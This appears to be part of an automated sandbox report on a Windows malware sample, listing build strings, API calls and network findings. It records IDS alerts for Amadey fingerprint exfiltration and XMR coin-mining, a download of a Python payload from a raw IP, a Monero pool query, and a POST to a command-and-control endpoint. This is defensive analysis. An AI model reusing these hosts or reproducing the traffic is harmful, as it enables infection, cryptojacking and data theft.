Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmp, file.exe, 00000005.00000003.2060566259.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1808732092.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090717065.00007FFE14643000.00000002.00000001.01000000.00000005.sdmp, file.exe, 00000005.00000003.2060353879.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: file.exe, 00000001.00000002.2087157431.00007FFDFAE99000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1808732092.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090717065.00007FFE14643000.00000002.00000001.01000000.00000005.sdmp, file.exe, 00000005.00000003.2060353879.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: file.exe, 00000001.00000002.2087157431.00007FFDFAF31000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: file.exe, 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: file.exe, 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF78D2973AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2888B0 FindFirstFileExW,FindClose,	0_2_00007FF78D2888B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A1444 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF78D2A1444
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF78D2973AC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.4:49739 -> 194.59.31.63:80

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 149.102.143.109:10128

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: COMBAHTONcombahtonGmbHDE COMBAHTONcombahtonGmbHDE

Source: Network traffic

Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49738 -> 149.102.143.109:10128

Source: global traffic

HTTP traffic detected: GET /MpGLnxkd/eur1.py HTTP/1.1Accept-Encoding: identityHost: 3.80.28.180User-Agent: Mozilla/5.0Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180
Source: unknown	TCP traffic detected without corresponding DNS query: 3.80.28.180

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00007FFE132262B4 recv,

1_2_00007FFE132262B4

Source: global traffic

HTTP traffic detected: GET /MpGLnxkd/eur1.py HTTP/1.1Accept-Encoding: identityHost: 3.80.28.180User-Agent: Mozilla/5.0Connection: close

Source: global traffic

DNS traffic detected: DNS query: gulf.moneroocean.stream

Source: unknown

HTTP traffic detected: POST /api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 308Content-Type: application/jsonHost: 194.59.31.63User-Agent: cpp-httplib/0.12.6

Source: dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63/api/endpoint.php
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63/api/endpoint.php--cinit-version=3.3.1--cinit-idle-wait=4--cinit-idle-cpu=30--cin
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63/api/endpoint.phpQ
Source: dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63/api/endpoint.phpp
Source: dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.59.31.63X_1
Source: file.exe, 00000001.00000002.2084363256.0000019B68250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://3.80.28.180/MpGLnxkd/eur1.py
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0270000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0270000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0270000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812231897.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1813865644.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811184610.00000251E0264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2062776391.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: select.pyd.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
